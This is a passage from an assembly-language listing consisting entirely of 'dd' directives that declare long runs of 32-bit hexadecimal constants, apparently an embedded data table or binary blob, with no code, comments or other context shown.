4CA1C183h, 2EFF4537h, 0F812189h, 51A7947Ch dd 852CD918h, 0F4D0964Eh, 1D20FDA8h, 8257FFEAh, 0DE9D531Eh dd 30442A77h, 0A39D9698h, 1CAAB5FDh, 38D3264Ah, 96967D3Ah dd 0DF9E2F5Ah, 58C2E817h, 2B983DDDh, 0FE2229E7h, 54608957h dd 8421BC6Fh, 79C3705Dh, 2428E2B7h, 0B89A171h, 0D04BAAFh dd 1E948E42h, 739F9431h, 0CED3962Ch, 418775FEh, 0B79C4E54h dd 0FD5442Ah, 1CE56B5Fh, 4FF55ED0h, 0E8C05DF5h, 0A3DF76A3h dd 0AD94092Dh, 8B648D79h, 0C3E95CB7h, 0F0C40DD4h, 6082C04Fh dd 3E772C8Ch, 0AF55D0D2h, 0C2C36E1Fh, 9B019FFAh, 90282734h dd 81B7FB76h, 91F78A1Fh, 0C5EA25A3h, 2B61AB2Fh, 0AFF96589h dd 71B0EA2h, 30BB57FBh, 791CAF37h, 0CA9EC966h, 8361514h dd 0BA6AD111h, 0C220FFCAh, 5A60B9DCh, 0A3F97E4h, 6E425C91h dd 57343F78h, 0B3F3893Ch, 292CDA51h, 0E26774A1h, 0A45FF2B2h dd 2EB54A3h, 6B0A6499h, 1C63FE90h, 1F06574Ch, 7CF524A7h dd 3245A2F9h, 5079DE89h, 9D67F498h, 630C6E07h, 8A64ACCh dd 574A52C2h, 0D75B296Bh, 0F764346Bh, 792414CBh, 0E79AF54Fh dd 508E1B5Bh, 5385F133h, 0E656E447h, 5DF6A5AEh, 47FB0E69h dd 1F22BE39h, 119648C9h, 68B91E76h, 2F3C1330h, 58CB9941h dd 6C2131Ah, 0AA042590h, 0CA0D10DCh, 36FE20F2h, 4CC789E3h dd 0E108084Ch, 0DB2A1367h, 0D0D29A5h, 5A07A0A5h, 99E938E4h dd 68C6C9FDh, 5A4FA9B0h, 0F78FBFF2h, 0BD7F8AD1h, 49736901h dd 0D048B5B7h, 1B3640FEh, 477F5F55h, 0D0ED1EE4h, 0C789A869h dd 2F5BEEDCh, 50DA3E86h, 6BC53DE1h, 0FA1918ECh, 0C675EB85h dd 0AD5D29E3h, 644BD4F3h, 56DBA08Ah, 4BD978Dh, 0DF83BC26h dd 3D9802D4h, 63511244h, 0A48D544Fh, 32E0BCC1h, 511C3D65h dd 0E11ECE49h, 0AECCBCFEh, 0CDD7A85Dh, 0BDA69AABh, 0FCA827A8h dd 77F6E4B9h, 0B32931BAh, 2C7F1A18h, 894288F0h, 2D6C1ADEh dd 987F9724h, 7CB60B50h, 0BE3389C6h, 6278DB0Ah, 0C61EB5Ch dd 0A85CFA2Bh, 0E5FA7117h, 4E024989h, 6DDCA791h, 0EB28224Dh dd 0C060F3A4h, 1D51E2Eh, 6A1D7001h, 467AE154h, 0F3407C6Dh dd 3FC93058h, 0E564D892h, 5DE5C409h, 0A9E77C68h, 0D742E7D8h dd 66650442h, 0F98FF099h, 0FD84A477h, 0EF96C05Dh, 83BACC17h dd 94AC05B9h, 0AB2BC32Dh, 0D475A308h, 9DCE424h, 46743BC2h dd 883C3CD0h, 4412FFB7h, 72D739Ah, 0F91A22BCh, 36835FCDh dd 349F56BBh, 0F035CFFDh, 730A3FFh, 6591FE40h, 4A86739Ah dd 35DDDE70h, 0D5348EA0h, 0D79E8C9Ah, 0B443CCF3h, 3EEC0DD3h dd 8240F3F1h, 0E1A8C00Dh, 12D59F90h, 0DB0F6F68h, 0D8149EFh dd 0AF86831Fh, 86E5669h, 94654570h, 76644F1Ah, 486230h dd 0F9A2785Fh, 0DFED9EFCh, 2522431Ch, 0DFA827C3h, 703A3EB3h dd 0CF046029h, 0B686010Eh, 2BDB1231h, 456739F1h, 0CACD54BFh dd 2250C9Fh, 48456EF2h, 0F360640Fh, 3BA158CBh, 0F26CD6Ah dd 0BE0B2F33h, 0EFF9E44Dh, 0FE504822h, 0BAB396B2h, 1BF95C41h dd 0BD966E8Bh, 7A0FB222h, 36320C60h, 0FDEB677Ch, 0B68C5982h dd 694C1014h, 0F4EC94E8h, 3096BF6Eh, 3040411h, 574BC7FBh dd 0BCE76824h, 2BD6248Dh, 3B069464h, 86010AB4h, 364823FAh dd 4370BCC9h, 19020818h, 58C71D25h, 0C9F1BDE5h, 9CD043B2h dd 23AE335Dh, 76ED2A83h, 8EAA340Ah, 20CE2706h, 0BBBBE48h dd 0AA8E4A28h, 0F08EC3AFh, 0AB1285h, 315E00Fh, 0C6665D21h dd 0EDD99A1Fh, 0BF61B786h, 0C0C4AECEh, 417331AAh, 4C6A855Ah dd 56592CE5h, 4C742624h, 3A004C4Ch, 0A054EE57h, 8FB1D7BEh dd 334DD5FCh, 76D20373h, 0D17BF0B3h, 0AC5A1959h, 2F09FF1Ah dd 0A4CE7286h, 6008BDE7h, 0FD0DB542h, 0A5E095E7h, 4E6E6057h dd 2F19CC78h, 9A2A5DA3h, 0A456B9A5h, 3D5E66ABh, 0C7EC54C5h dd 0B09758D6h, 8C9F8CF2h, 0F3479D1Ch, 6A71C7ACh, 0A3CBD875h dd 0F7BE0551h, 0E1FA7B5Bh, 0EC37EAA6h, 3DC0635Bh, 5A97B3E1h dd 0A3496DBAh, 9EEF808Bh, 3338C9E2h, 0ACD312B0h, 3E1169C5h dd 9AEDE225h, 4F68770h, 20FBE6F6h, 0EF049C77h, 9E01D64Dh dd 8E2B778Fh, 5D74B37Bh, 425480E0h, 0FF083861h, 0C4DFAC5Dh dd 0FA6EB2FCh, 23BF4D01h, 0C41F0F90h, 6F3105Dh, 0ED0F63F9h dd 0ECAF1865h, 4836C0C9h, 0F97A1F10h, 90E00952h, 1121784Dh dd 413557F2h, 4C2D23Fh, 0E8FD9853h, 0BB0D04BFh, 61483008h dd 2C4F4E2Ch, 75EDA961h, 0BA5421D2h, 0DE3615A4h, 9A992724h dd 0EA016576h, 0A80A726Dh, 21694AA5h, 6E72CDA6h, 6628EB5Bh dd 6FD794D0h, 0AA639C03h, 54CC1499h, 3EBBDE1Dh, 0F1B9373Eh dd 4F5FF94Ch, 77957824h, 0AA085900h, 15849A04h, 23830247h dd 23E49C3Dh, 5B854957h, 0C28CAA78h, 54C99893h, 0FE9A6A0Fh dd 8A64C0F9h, 634C63D6h, 42408E03h, 62D31480h, 0A1B058B2h dd 0D194D685h, 24419D7Eh, 98071B15h, 0A5DD0642h, 262A4692h dd 8C0D48B8h, 0D1534591h, 11FAEC12h, 6C53E720h, 0FBE1768Eh dd 3BC305E9h, 23E67368h, 6361DEDBh, 5E82FAE3h, 19D4D0Ch dd 0F6153765h, 9B4C954Ah, 952FBC2Ah, 0B679412Ch, 0B2174BAEh dd 91ED5642h, 4F23B8C8h, 2795C7A3h, 8CB13817h, 38D470Ah dd 0F70C3353h, 8E774066h, 5DDB4E88h, 8C3A9158h, 572EB469h dd 101C9F98h, 199F85F1h, 0E507B3B0h, 0BF63D452h, 0EBBE0971h dd 7B112B62h, 13577A5Dh, 0BA3F75B9h, 41CCEEF1h, 2ADDDE08h dd 0F192630Eh, 73A3A412h, 87A074FDh, 8766FE7h, 6DF70E0h dd 2F6DCF9Fh, 0EE703AFh, 3E107D00h, 13360DCAh, 1E22B050h dd 0B5EB143Ah, 4F56A6EBh, 3B05D4AFh, 21CF1036h, 0BBC9B401h dd 9C72446Ch, 43E07BFCh, 1AE53E2Ch, 0FB06B0D5h, 3FFEA1DBh dd 0B623418Ch, 4757C70Ah, 4A496286h, 0B0080A12h, 0BAD47B76h dd 37A4DCF0h, 0BB4E0963h, 5B04B3Bh, 0C6680E7Eh, 76DD62DEh dd 6ED1B110h, 9A160861h dd 0C7D6397Bh, 0A71B8A1Eh, 4A6E058Bh, 8C21863Eh, 7D353827h dd 35FB2CB9h, 0ED341B21h, 88EC99F7h, 61D528B7h, 58846E1Dh dd 1966AE42h, 0EA48F904h, 3DB09BCh, 0BB8CF1BCh, 0F01E62BBh dd 0DDEA497Dh, 0E6E6690Ch, 32ADC9A0h, 0CB10ECB0h, 2E076AFBh dd 2116B89Dh, 0D49D7023h, 0A7834460h, 218073A1h, 384BAC92h dd 0CB652763h, 9337E78Fh, 0D43B39E0h, 96D926ECh, 8C159AB4h dd 4CEB13C7h, 67D6C285h, 48370FC7h, 0BDA366C3h, 54CB6D7Fh dd 0B2292B8Ch, 814E4E98h, 331F1AEBh, 0D0E80C53h, 4DA78BC3h dd 445C0B73h, 0FF16273Eh, 0B7377CBAh, 95CC2690h, 175671A8h dd 41157A03h, 0A9F986E2h, 0E20E49F7h, 9059FFA4h, 0F8AC5356h dd 36A2B625h, 1EB72BF3h, 0FE03EB67h, 2176292Eh, 0E69F7172h dd 0EE87DDD5h, 889C3B31h, 11C919F7h, 0E1BCC79Dh, 0D1036A6h dd 0DB7DADC8h, 22E25E19h, 78BF1FFDh, 7F8FC3C5h, 81F8B2E3h dd 0E4A39100h, 0EB82747h, 2AD1F73Ah, 0E48AC65h, 5499AD93h dd 5BAACEA7h, 3F02FC8h, 0C3326F7Ch, 0C48DBD41h, 0D90B021Fh dd 854675DFh, 4615707Bh, 15270001h, 0F86B6284h, 0F99727E2h dd 92CFB377h, 0D1784DBCh, 3A36C864h, 69FF64B0h, 2D8ED99Dh dd 38FBF5Dh, 763EA8D0h, 48D1548Eh, 0E9E931A3h, 8067898Bh dd 0BE8380C5h, 0F8C652B3h, 306F26EBh, 655BA4D6h, 83CDC24Dh dd 3706AE0Bh, 0F53984ADh, 0FA0E165h, 0D8432307h, 66F5D6C4h dd 6D743C64h, 2C271D2h, 32CA3205h, 49754429h, 3A60D233h dd 0CCE5F8EBh, 0B16D360h, 458E5289h, 41D6D050h, 0B395AC7Ah dd 4B609FA8h, 0F5BA51ECh, 0D82D9E71h, 0C8A5D28Dh, 0B948CB9Bh dd 0D3D3FE51h, 0F4CB1263h, 376E000h, 95EC69EBh, 0E1904C2Dh dd 26E6AAD5h, 21EF9180h, 60CFAD3h, 3C4044C3h, 10D9E80Eh dd 982518F7h, 0F28C4818h, 628024C9h, 0E1B1E9FCh, 72A83E36h dd 498AF3E2h, 13014BD2h, 5D56B948h, 7D9B222h, 470BC267h dd 799B61C2h, 0FE8D3B2Ah, 346CADCCh, 38BF07CEh, 0D6234CC5h dd 72E16367h, 548F91D2h, 4AA73F2Eh, 0F2DD91D0h, 0EF5D0047h dd 0D2F30178h, 0D4FEC360h, 810DB9FAh, 1BCFE083h, 2EF4A769h dd 0CC2C6B4Fh, 903493A5h, 244AFD43h, 72DA582Ch, 9A811451h dd 9E0838EDh, 0D1B54D9Ah, 4740C44h, 5AC370ECh, 0AA3D8632h dd 0E7E28269h, 1BDAC767h, 1183782Ah, 5EAC6189h, 0B507B892h dd 3D756297h, 530CF0DAh, 0CA370AE4h, 482CE93Eh, 7C54EB2Bh dd 65082098h, 1FD0800Ch, 1C1740F5h, 0DB9C4C7Bh, 0F2CF77AEh dd 8AB6E8F6h, 0F2ABA0A1h, 0DA1D80Eh, 1CFADFCEh, 3F7F9A53h dd 2E70C228h, 8E755C51h, 30472D4Fh, 9FAA1AA4h, 90DAC560h dd 4AA5C50Dh, 941E204h, 7C4D75BDh, 0A529F247h, 0BA30A1A8h dd 0EE9D9603h, 0F8079554h, 0C3E05F77h, 0EB31F98Ah, 19D5EEC7h dd 6714F16Dh, 78C65394h, 0F9C6974Fh, 0C2D3939Ch, 0F259A852h dd 17F24E97h, 0B9223AB2h, 57B1BEE3h, 94A83020h, 0AB3E8794h dd 44BB6185h, 0E2711706h, 9B024ADDh, 0B53B924Ch, 0DB141FECh dd 77CB1D8Bh, 16DADCE1h, 8E7E8983h, 591F9CC2h, 8225BD92h dd 0A104D8E2h, 6C2E7168h, 8AD6CB7Ah, 1D027DA7h, 99056B50h dd 9F5D9998h, 0CCC8FDC2h, 9FF83202h, 0DAE017CBh, 1933D30Eh dd 0DAD3D77Fh, 89919E35h, 457F7A4Fh, 75C71882h, 86FA59A5h dd 39A44376h, 308FB622h, 0BC3B85C5h, 1504E357h, 5CDB24EEh dd 71035FEBh, 0E8383EFEh, 8953D8F7h, 2D12DA5Ch, 0E5499C49h dd 9B33CAA0h, 42765852h, 0FA3C020h, 0EDFF675Ch, 0F1E740A7h dd 2C4049A1h, 6B8F65CFh, 303747E8h, 6754D1C7h, 94978E82h dd 3228C260h, 0FB9A810Eh, 2727E8D4h, 0BC969EB1h, 36F199B4h dd 8DD25055h, 0F4669761h, 6EB53652h, 1A0B5727h, 0DB9D4F84h dd 0B92CAFC5h, 15985B0h, 4D1B7505h, 0F0E5EF68h, 0DF05D537h dd 5AF3F282h, 1249C87Eh, 0ADA7CE95h, 0C71829E1h, 5E74BA1Dh dd 0E12DBB4Bh, 0DF1E81BCh, 0CEA7E56Bh, 57BD8B33h, 18EEA5E6h dd 0EAAD4FD0h, 0DB292E62h, 682EA659h, 77B4A4CEh, 5BFDFB49h dd 747C5440h, 8ACF6A38h, 64FB0967h, 0B6CDAE3h, 40081A50h dd 2EA7441Ah, 16F29FF2h, 1278F48Dh, 1C37AD1h, 0F0AAA63Ah dd 660FF880h, 0EDE6C6Bh, 0DE6C7E2Eh, 0B7D51CD9h, 5998FCA5h dd 5067FBABh, 4BB9576Fh, 0CBCF3763h, 0EFE30D28h, 0D8BA0512h dd 956244E7h, 3F5B752h, 109F2D04h, 71125959h, 2A08858Bh dd 0EF058BC9h, 36FD6EB9h, 55EDB3BFh, 0FFFE96F8h, 93423FCCh dd 95E68A5Ch, 1D4D3F8Fh, 0A9D8EE63h, 0A477A2EFh, 276AA109h dd 57950947h, 52C628ADh, 0EF03A7D8h, 0F0DD9FEFh, 9E6DC8D1h dd 86705E3Bh, 39ED5C75h, 5B4C4101h, 35A5EED3h, 0D8A90BE2h dd 0D82311C0h, 5948ABD5h, 0FB978B13h, 833702C6h, 8D3C811Bh dd 0F2F39498h, 0F0CD24D7h, 0F205A0F5h, 0D0C25EDAh, 10F98303h dd 22EE7371h, 4101E5ECh, 16CACC2Eh, 1581E938h, 0CB4AD7CAh dd 4381106h, 0C2ECA2B0h, 0EB3E8256h, 7D42D5ECh, 41EE48ADh dd 2F0B0874h, 3EF6B972h, 0E1CDFB9Fh, 8A4FA6F1h, 9F919FF7h dd 0CF214BB2h, 89006FCFh, 17E8A11Fh, 0CF5E5A95h, 0FE3BEBC2h dd 0A4D5F77Eh, 903C07Ch, 0ED77E5B3h, 88154F29h, 0B5B305B5h dd 0A92C2ADDh, 96FF2238h, 370FA907h, 0F0A01B3Eh, 0BD4FA39Ah dd 7CD1A909h, 0EC48185Fh, 0F073FA34h, 0F16D9C6Ah, 2BD3BE52h dd 9261A5F6h, 73B9F1F5h, 0A5397F26h, 35ED1FF1h, 0AC7D8C37h dd 0DA7B3E88h, 0DA42915Ah, 2B63A838h, 0F51D135Fh, 2A05157Eh dd 977A8BCFh, 0C56DB8E1h, 390A8F6Dh, 0FA81BAF9h, 8B3CEA95h dd 0C1AE7367h, 13E40529h, 0A26570D3h, 7EB82231h, 5BF88E52h dd 7FF41AACh, 15772F7Bh, 45A86FF6h, 8C140BD3h, 5B4EAE04h dd 5DB27AA9h, 5AEC7428h, 0EA91D638h, 99155DB2h, 0CDAC6043h dd 0E0DD441Fh, 0E7A6BF04h, 9935AB70h, 14A32E72h, 0EBE7F5FAh dd 785DB4A4h, 0ABCC4E2Bh, 9CDD9FEEh, 0A057C00h, 0B3439EF2h dd 332A37D4h, 92033235h, 0D11FF97Ah, 3274C722h, 0F80B9B5Eh dd 2A32D5DCh, 7A6FD43Bh, 15087E5Ch, 57DF02CEh, 0C4A66483h dd 0F65B6708h, 3E686E3Fh, 0DFCB00BEh, 0E8516C17h, 7DFD66F5h dd 0EEFFEEA7h, 785484E6h, 8181BD25h, 77304CE9h, 4B0490D8h dd 3E425B1Eh, 38B0D83Eh, 6CD93D7Ah, 13323C5Eh, 61CB6C31h dd 0C8EF6DDFh, 1666C86h, 0A89CCA41h, 0E94476DEh, 0D10447ABh dd 7F4F03E4h, 0B0FCE6B8h, 0DAEDB89Ch, 0A8A5F732h, 0AEFFEBB5h dd 70BA9A17h, 0C6E825F6h, 79589900h, 0A4031A8Ah, 0F8B25296h dd 9CF5359Bh, 7912922h, 38462710h, 0C6FCEEF0h, 0F48225A0h dd 0B33CC02Bh, 2100A5EDh, 9356A325h, 734F8498h, 3CD3BDCFh dd 7CB8B7F9h, 0C83E5A4Dh, 24FA2A18h, 408AB139h, 0FA9E25D0h dd 7A17C40Fh, 0BBA1D39Fh, 0B51D57FCh, 15D7941Bh, 9071CD5Bh dd 342BDFA8h, 1FEEC790h, 0D30BC6DEh, 1B949E19h, 30C2FF0Fh dd 33466027h, 0E6BEF9AFh, 84BC6EAAh, 5D395BB1h, 69D63762h dd 0D4F80165h, 37BD23C0h, 27F335F7h, 0A3BF1EE1h, 30BDA15Eh dd 20EFF6B3h, 0B153BCD3h, 2D864B96h, 854A8FA3h, 79831C4Eh dd 337CD925h, 8D3720E3h, 6E359315h, 0C247AAD3h, 0D7F57979h dd 745B7CE0h, 0A85F95C7h, 44AD8D8h, 0FA82FF00h, 9EE9F927h dd 7980A26Ch, 1970508h, 0A2754A95h, 0C4EA2477h, 824F70Dh dd 0D0D9624Ch, 8C1A8DDDh, 0ADDD2E06h, 0E115DBF7h, 86AF38A2h dd 0E720CAB7h, 2AF48A1Dh dd 8E41D977h, 0DDC5F318h, 0A34B03E9h, 95221A75h, 0BF5175A9h dd 0C51B543Dh, 63BA4238h, 84D3E6DAh, 0A95A048h, 0AA9E0762h dd 18E3D12Eh, 1A0E0E1Bh, 3642128Dh, 0DA044B3Dh, 1B7C8FEEh dd 430113F9h, 46FBFC15h, 169310DEh, 1D9EAD70h, 43BFDA83h dd 29C2A017h, 5E3F81E8h, 0A6F9939h, 0FB8237B5h, 0F29428FDh dd 0D3CC0BBDh, 74B13D9Ch, 5EF4C893h, 20DF7A83h, 23D25396h dd 4D846FFh, 850099B1h, 73DBADFCh, 70874A54h, 6CCC1006h dd 0D7D3AE00h, 779F340h, 24103BB2h, 0ADB2658Ch, 720633B8h dd 0A3D4D92Dh, 0BC194718h, 7BD0D8C2h, 4DFB6153h, 0EEE207ABh dd 9DF8B4C2h, 0C9F248E2h, 0AFD7594Ch, 543A6691h, 350B061Dh dd 4C18D049h, 833F1D8Ah, 0C8435C76h, 0D9EC3BBCh, 0ACCB57A8h dd 0FB966F66h, 0EEB8A026h, 39257EA5h, 2E09B817h, 0FC5BEF6Dh dd 41053E95h, 0F87E6DC7h, 18390052h, 256555F2h, 91EA7FAAh dd 0C08023FFh, 663A63B2h, 0A7A7F924h, 4376FEADh, 0B693DD14h dd 1C03C7AEh, 4247D9BDh, 431C6C31h, 0A244DBFEh, 0DFAAE25Ah dd 0AA3089AEh, 79CD1AC2h, 7657A849h, 0F5028C26h, 0C43D2F6h dd 84E5372Ch, 0CC5A5BD7h, 0E2CDE61Bh, 35B1478h, 33429F26h dd 0E033DAE0h, 5EEB1BECh, 9B13AEB1h, 0AC34FFF3h, 0B5367B71h dd 3B6F1B20h, 0AC560B11h, 11438ACDh, 0E3EFDDE4h, 1F385D23h dd 8D3B191Bh, 6D11518Bh, 0C29152C8h, 0F642DCEEh, 0EDB10F4Fh dd 0B6EF8C1Dh, 1B8F9443h, 470F674Bh, 0B34BFBC7h, 7D786643h dd 46352F11h, 0CD2E69D6h, 6BD67153h, 0FA515289h, 0D2AD5FC6h dd 0FE90B170h, 0C0BCF680h, 0F1AD8E8Ch, 23F28B3Fh, 141006D5h dd 0B886C0C8h, 0DBA8EDBEh, 69751A0Dh, 7A08EDF4h, 61815A8Dh dd 0DA4700E1h, 1DEE7887h, 78E74F28h, 0D9A41483h, 7A9AEB6Eh dd 411224EDh, 6F538C63h, 0D3932A37h, 0FA55B996h, 0F3E302FFh dd 0FFE5B0D9h, 69C14475h, 99F1BFC9h, 0E8E0940Bh, 5509DF7Eh dd 0F6250B6h, 5FF73E36h, 9456F0D7h, 2E0025B8h, 0FA012BBDh dd 0FB0F0D97h, 1B8841BCh, 3AFB8463h, 48783BCAh, 1EEBAF8h dd 0B618B0D1h, 6167E4FCh, 0B8408281h, 0F7DAB22h, 0F0B5791Fh dd 88E94EB7h, 5BDD7AC5h, 0D6DAE2DDh, 1855870Eh, 22B6600Dh dd 0F8C40E81h, 3107365Ch, 248EDD10h, 6B9F124Dh, 0DFD8284h dd 0BF1126EFh, 8C868E78h, 15BB474Bh, 5ED3A6BDh, 6931F354h dd 328DCA74h, 6E05DB75h, 6AE8787Ch, 52DB910Ch, 0A3AA7D4h dd 24898B55h, 0F587303Eh, 2119D48Dh, 7A41F064h, 0A284C542h dd 95E5D7D4h, 12622DA7h, 0C4665A2Ch, 0E4F11420h, 0BC1289DFh dd 8624EAB4h, 0BD5662D1h, 0DA29864Bh, 0DC33D711h, 56524B91h dd 0BF18A17Bh, 0A6E4A458h, 938B12BFh, 195F1A7Eh, 0CEA808C9h dd 6982BFD9h, 8C9FF980h, 1F62EC4Bh, 48C12A65h, 7AC3AE3Ch dd 0C0826F11h, 6A815852h, 4735CEA3h, 4C2ADFD5h, 0F2FB6DC9h dd 15A11E25h, 0D309D662h, 3F11EE54h, 0C106E9DBh, 0E15CE533h dd 0CC364289h, 0D52EA175h, 78BEA413h, 7FC1DF27h, 54317335h dd 9F4EC207h, 0E33DB944h, 616C417Ch, 131E1293h, 18F94C3Bh dd 53268453h, 0A2753262h, 56E6848Dh, 0D6183307h, 0ED80418Eh dd 961777A2h, 0FB0DFABDh, 582647ADh, 9423EB80h, 0B9263FBEh dd 65D817B4h, 97D9B86h, 69131337h, 4DCC3D2Ah, 99338A49h dd 0FD07D6DAh, 7EA09895h, 0A35A7597h, 4F555043h, 0EFCA4D05h dd 0E5D548E7h, 0EE0FF282h, 3212EA69h, 8D6D42CFh, 0CE22148h dd 0C11CAA4Ch, 95E84B5Eh, 6D47DCE8h, 349C0E2Ah, 0A74CB871h dd 39D46BB4h, 23D31FDDh, 36C72CD2h, 0ADAE275Fh, 0BA076B91h dd 6C29847Ch, 0D3DED439h, 244BFC0Ah, 0F2FB6CF7h, 58372559h dd 585694FBh, 311840Ah, 0D3477B03h, 0F3201078h, 343E5F71h dd 43F3E87Ch, 5E96465Bh, 0AE123412h, 2B4B7AC3h, 0CBF9B556h dd 8AA4008Eh, 0D475CF59h, 8F3B46C1h, 92E64FD5h, 4288FFA8h dd 5838CA45h, 1EB9A679h, 583FA265h, 0DD5B0ECFh, 0B421451h dd 0F14374E2h, 69F2F4ADh, 9FB958F0h, 2A9A6F19h, 0E4062236h dd 0E15C283Dh, 1A049DEAh, 0E6B7DA53h, 6888E983h, 0DBC97F02h dd 0AE8D3631h, 0E1D826B2h, 7C66959Ch, 97AE3BB0h, 0B8E26B6Ah dd 1134DEE0h, 42EAE70h, 0B9196269h, 0AA22499Fh, 2568B692h dd 1B45ADB0h, 585730C9h, 9D956CB8h, 0CF58E215h, 0FE4E3B1h dd 9015F222h, 0BFC4AE9Dh, 4E978446h, 0A56F7291h, 0D5BABBC5h dd 26A23C50h, 47F647C8h, 55EBD583h, 7DD6956Ah, 9D425631h dd 0FA5B592Ch, 0B8CF8A02h, 0CD5433Dh, 0DC780003h, 6C45D57Ah dd 0C283F8D4h, 96A49855h, 4A63CCB9h, 0C8C5F790h, 1E3560E8h dd 4BDB3ABDh, 7AE857F5h, 0A14C1C6Bh, 0DE713781h, 0B209A20Ah dd 0A1AE9DCDh, 0FA284AAEh, 0DE1A27D4h, 539EFD59h, 0CC5915DFh dd 5B84F982h, 0E8B1DE5h, 0EE6682C7h, 0AF4EDB5Bh, 213C5A17h dd 0ACC01901h, 0E878DBFDh, 0F960E7D8h, 0FC14814Ch, 4382A201h dd 83EC9FBCh, 86676133h, 0DD3E22A8h, 0F733E4DFh, 2E148686h dd 2D3900ABh, 6E82CAFh, 9ED3E85Ch, 0ED18B745h, 4A30B53Dh dd 2F24FAFBh, 0F8713FE6h, 0E4836A6Bh, 0F203FFA1h, 0C505674Dh dd 0E05647Bh, 9DA26EF2h, 2050481Ah, 5EC31E4h, 0C341B92Ah dd 9C71A5C9h, 0DAF092A1h, 4E74F1F1h, 3FF5ADF0h, 7E17B0D6h dd 61072302h, 8DD5D812h, 6C7C273Bh, 489DE55Dh, 780C5AF2h dd 0E6084EC9h, 5ADAA55Bh, 0E288D739h, 0A2105D4Fh, 6A6A0380h dd 226F3FEh, 1BF861DDh, 23300FB8h, 42C8B672h, 0A21DA5A0h dd 0C9778689h, 0A4759F43h, 20802830h, 4E5ECD0Ah, 5507B5BEh dd 621B8C3Ch, 3A9B76CEh, 7373352Ch, 2917858Bh, 4115676h dd 1F602AC5h, 3F241626h, 9E07BDF2h, 9612D922h, 8AF985C4h dd 27F5E23h, 5ADE3177h, 41F64CC1h, 3BFA0EB3h, 1AA1385Dh dd 13BA974Dh, 0A7B54FEBh, 9FF15D2Eh, 595F9917h, 22ECA95Fh dd 0D4C98E42h, 51D024BBh, 12D76F05h, 6A0D1909h, 25B2AB01h dd 41AD24B7h, 463F47C5h, 0D546A2B0h, 976E0BA7h, 47FB5472h dd 1719B483h, 2F82EF86h, 6A99C48Eh, 1D19CCFEh, 0E75AA8A3h dd 7662C47Ah, 8A650D28h, 0F8CDCB24h, 8444034Eh, 3BB5EEA1h dd 0F2B20E75h, 191A079Eh, 0CA8F8DA6h, 4ABE5842h, 4A0631BAh dd 1B1BA303h, 14677764h, 2EC37826h, 4E29D306h, 0A35073EFh dd 8D931FAAh, 0A25A24B9h, 1179985Dh, 52D9E515h, 35FCDF39h dd 0A9F30BB7h, 5FBFF6DAh, 6C6F3D99h, 0E14071B9h, 0F41FB003h dd 3CBAAD5Bh, 26F659ECh, 87B2D1BEh, 9CA0E701h, 0DAFB3ADh dd 298391CAh, 4A35211Fh, 0BDCCC1F1h, 4855AA28h, 7F82E7C2h dd 9480BF15h, 400D8F14h, 68F10263h, 7A848CBEh, 58F44A7Eh dd 1A7248C1h, 4DF69A33h, 0A3DE2213h, 0DCE9F6BCh, 7AB2D26h dd 6BF25F61h, 413DB0D5h, 59776A85h, 0C589AF8Bh, 1F2F7074h dd 9F7FCEC3h, 925B1D24h, 0EB20E53Ch, 53312653h, 0AB7F0C9h dd 6859AF7Eh, 0B36E5EAh, 53427C0Fh, 1C7D18CBh, 0AFD23576h dd 0EF09F16Ah, 0AD9F77EBh, 0F6662206h, 0CB62AF7Ah, 187AB7CCh dd 128470DBh, 7F8C4554h, 0C7D29937h, 0CB4FCD6Eh, 98FF3604h dd 0DF907245h, 782A8C13h, 4E12490Bh, 0BAA2932Bh, 8FDAD0FBh dd 3645252Ch, 0DB2B1E82h, 3A9D0DC6h, 5B20542h, 0AB882B99h dd 0CED22899h, 0F2FBC6D0h, 0F7F5E149h, 0D1868208h, 0D10BE224h dd 77030D97h, 2A1B04B1h, 0A25C44C5h, 0F92F826Ch, 5D4E5DB3h dd 55B88498h, 1D7E825Ch dd 0B850CDC7h, 9868E2D8h, 89541458h, 0AF6F75C0h, 67958AFCh dd 0DF0E7379h, 99A487B3h, 0CE06EEF8h, 6522D20Ah, 0B42F83A2h dd 7680CF00h, 1E7976ADh, 9844A478h, 61F5C891h, 0F8F0D335h dd 3F47E33Dh, 61CF79F9h, 238C57CDh, 68C79524h, 910ED771h dd 491E677Ch, 897D8CF9h, 2BAD20F1h, 179C12A5h, 26A338CAh dd 4DDC97E1h, 0F4DA1FB9h, 0F6C4AAA1h, 7F4D8D1Fh, 0FCAD0B8Ah dd 905AC72Eh, 8F90C052h, 33867104h, 4A774AF8h, 66A62E45h dd 0D92D6E74h, 0C2C57FCBh, 93EB3B12h, 0D34CA9EDh, 5A8A2127h dd 0B0FEA9DEh, 95BA5482h, 7E81B08Eh, 24FDDF7Eh, 0CAB6DA99h dd 242AB7A0h, 0B9DEB9Ah, 0E1DABAEAh, 0E2B25C76h, 97F591F3h dd 0CC132D84h, 0A04FB324h, 28A0FF24h, 9B43F5Ah, 1A479C7Fh dd 27A20219h, 4E5F46Dh, 5EA3CDFDh, 0D0D3575Ch, 27C77ACDh dd 0B45E59F8h, 0CE07EDBBh, 6D696F50h, 614484C4h, 41E61D5Bh dd 56963184h, 0BEF83E6Ah, 61BC2902h, 5753F83h, 7807ECA5h dd 560C02A4h, 7706C1A3h, 0A04E2771h, 34B2CD8Ah, 301A7E5Eh dd 0A566AB9Bh, 0F4CB87FBh, 39E46797h, 8B319DF0h, 9CD2765h dd 6B45E10Ch, 0FA2E209Ah, 0F2938A4Fh, 1DF6A060h, 0C5401E45h dd 1C8A2920h, 0AD80C799h, 0B7EBC223h, 89F44F6Eh, 0E8E52544h dd 0FED7C991h, 71AC4A86h, 64C700B3h, 0D68ED4BBh, 0B264737h dd 37880C5Eh, 6C61349Fh, 0D735AB0Eh, 43CE157Ah, 0D13F093h dd 0FC9E2675h, 0D0C76CC0h, 0B650244Ah, 80EC2726h, 12AE0A9Eh dd 75594A85h, 40376EF3h, 3C072EEh, 6EE79E0h, 3CF58188h dd 66DDA6CDh, 0FAC19800h, 0DEF89A61h, 5501FE8Bh, 86F2CA89h dd 37465493h, 30FE5E2Fh, 0BD52F667h, 0EF6194ACh, 0A0F62162h dd 2CD6B6D7h, 46BAC647h, 6E61E93h, 88EA8320h, 0ACC67C59h dd 612B6E69h, 55B55843h, 6ADA4EB0h, 14A36894h, 0C73A5D32h dd 4816A7h, 0E5CD06Ch, 0B0460523h, 6E1ED7D1h, 0F98C5ACBh dd 76B044A5h, 4EA2FB15h, 6EC2BE5Ah, 0F36774CBh, 0F620E502h dd 0D88A2DDFh, 5D549323h, 3DA2DA52h, 6994E06h, 0EB2DDCB2h dd 0E361170Ch, 947EDD4Eh, 0E710410h, 3A2F76FFh, 60DDDE49h dd 